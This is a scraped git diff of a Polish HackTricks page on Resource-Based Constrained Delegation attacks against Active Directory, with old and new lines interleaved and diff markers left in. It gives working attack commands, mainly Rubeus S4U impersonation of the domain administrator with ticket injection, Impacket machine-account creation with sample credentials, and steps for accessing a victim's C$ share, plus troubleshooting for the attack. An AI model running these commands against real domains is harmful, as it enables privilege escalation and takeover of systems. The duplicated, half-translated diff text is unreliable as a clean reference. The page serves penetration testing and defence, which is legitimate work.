1. Atakujący **kompromituje** konto, które ma **SPN** lub **tworzy jedno** (“Usługa A”). Zauważ, że **jakikolwiek** _Użytkownik Administrator_ bez żadnych innych specjalnych uprawnień może **utworzyć** do 10 obiektów Komputera (**_MachineAccountQuota_**) i ustawić im **SPN**. Więc atakujący może po prostu stworzyć obiekt Komputera i ustawić SPN.
|
||||
2. Atakujący **nadużywa swojego uprawnienia ZAPISU** nad komputerem ofiary (UsługaB), aby skonfigurować **delegację ograniczoną na bazie zasobów, aby pozwolić UsłudzeA na podszywanie się pod dowolnego użytkownika** wobec tego komputera ofiary (UsługaB).
|
||||
3. Atakujący używa Rubeus, aby przeprowadzić **pełny atak S4U** (S4U2Self i S4U2Proxy) z Usługi A do Usługi B dla użytkownika **z uprzywilejowanym dostępem do Usługi B**.
|
||||
1. S4U2Self (z konta SPN, które zostało skompromitowane/stworzone): Prosi o **TGS Administratora dla mnie** (Nie Forwardable).
|
||||
2. S4U2Proxy: Używa **nie Forwardable TGS** z poprzedniego kroku, aby poprosić o **TGS** od **Administratora** do **komputera ofiary**.
|
||||
3. Nawet jeśli używasz nie Forwardable TGS, ponieważ wykorzystujesz Delegację Ograniczoną na Bazie Zasobów, to zadziała.
|
||||
4. Atakujący może **przekazać bilet** i **podszyć się** pod użytkownika, aby uzyskać **dostęp do ofiary Usługi B**.
|
||||
3. Nawet jeśli używasz nie Forwardable TGS, ponieważ wykorzystujesz delegację ograniczoną na bazie zasobów, to zadziała.
|
||||
4. Atakujący może **przekazać bilet** i **podszyć się** pod użytkownika, aby uzyskać **dostęp do ofiary UsługiB**.
|
||||
|
||||
Aby sprawdzić _**MachineAccountQuota**_ domeny, możesz użyć:
|
||||
```bash
|
||||
@ -86,11 +86,11 @@ Możesz wygenerować więcej biletów dla większej liczby usług, po prostu pyt
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Zauważ, że użytkownicy mają atrybut o nazwie "**Nie można delegować**". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz mógł go udawać. Ta właściwość jest widoczna w bloodhound.
|
||||
> Zauważ, że użytkownicy mają atrybut o nazwie "**Nie można delegować**". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz mógł go udawać. Ta właściwość może być widoczna w bloodhound.
|
||||
|
||||
### Linux tooling: end-to-end RBCD with Impacket (2024+)
|
||||
|
||||
Jeśli działasz z systemu Linux, możesz wykonać pełny łańcuch RBCD za pomocą oficjalnych narzędzi Impacket:
|
||||
If you operate from Linux, you can perform the full RBCD chain using the official Impacket tools:
|
||||
```bash
|
||||
# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
|
||||
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
|
||||
@ -119,7 +119,7 @@ W tym przykładzie poproszono o TGS dla usługi **CIFS** z Administratora, więc
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
### Nadużywanie różnych biletów serwisowych
|
||||
### Wykorzystanie różnych biletów serwisowych
|
||||
|
||||
Dowiedz się o [**dostępnych biletach serwisowych tutaj**](silver-ticket.md#available-services).
|
||||
|
||||
@ -127,7 +127,7 @@ Dowiedz się o [**dostępnych biletach serwisowych tutaj**](silver-ticket.md#ava
|
||||
|
||||
### Enumeracja komputerów z skonfigurowanym RBCD
|
||||
|
||||
PowerShell (dekodowanie SD w celu rozwiązania SID-ów):
|
||||
PowerShell (dekodowanie SD w celu rozwiązania SID):
|
||||
```powershell
|
||||
# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
|
||||
Import-Module ActiveDirectory
|
||||
@ -165,14 +165,14 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025
|
||||
```
|
||||
## Błędy Kerberos
|
||||
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: Oznacza to, że kerberos jest skonfigurowany tak, aby nie używać DES ani RC4, a Ty dostarczasz tylko hasz RC4. Podaj Rubeus przynajmniej hasz AES256 (lub po prostu dostarcz mu hasze rc4, aes128 i aes256). Przykład: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KRB_AP_ERR_SKEW`**: Oznacza to, że czas bieżącego komputera różni się od czasu DC i kerberos nie działa poprawnie.
|
||||
- **`preauth_failed`**: Oznacza to, że podana nazwa użytkownika + hasze nie działają przy logowaniu. Mogłeś zapomnieć wstawić "$" w nazwie użytkownika podczas generowania haszy (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: Oznacza to, że kerberos jest skonfigurowany tak, aby nie używać DES lub RC4, a Ty dostarczasz tylko hasz RC4. Podaj Rubeus przynajmniej hasz AES256 (lub po prostu dostarcz mu hasze rc4, aes128 i aes256). Przykład: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KRB_AP_ERR_SKEW`**: Oznacza to, że czas bieżącego komputera różni się od czasu DC i kerberos nie działa prawidłowo.
|
||||
- **`preauth_failed`**: Oznacza to, że podana nazwa użytkownika + hasze nie działają przy logowaniu. Mogłeś zapomnieć o dodaniu "$" do nazwy użytkownika podczas generowania haszy (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
- **`KDC_ERR_BADOPTION`**: Może to oznaczać:
|
||||
- Użytkownik, którego próbujesz udawać, nie ma dostępu do żądanej usługi (ponieważ nie możesz go udawać lub nie ma wystarczających uprawnień)
|
||||
- Żądana usługa nie istnieje (jeśli prosisz o bilet na winrm, ale winrm nie działa)
|
||||
- Fałszywy komputer stracił swoje uprawnienia nad podatnym serwerem i musisz je przywrócić.
|
||||
- Nadużywasz klasycznego KCD; pamiętaj, że RBCD działa z biletami S4U2Self, które nie są przekazywalne, podczas gdy KCD wymaga biletów przekazywalnych.
|
||||
- Stworzony fakecomputer stracił swoje uprawnienia do podatnego serwera i musisz je przywrócić.
|
||||
- Nadużywasz klasycznego KCD; pamiętaj, że RBCD działa z biletami S4U2Self, które nie mogą być przekazywane, podczas gdy KCD wymaga biletów przekazywalnych.
|
||||
|
||||
## Notatki, przekazy i alternatywy
|
||||
|
||||
@ -198,5 +198,4 @@ adws-enumeration.md
|
||||
- Impacket rbcd.py (oficjalny): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
|
||||
- Szybka ściągawka Linux z aktualną składnią: https://tldrbins.github.io/rbcd/
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user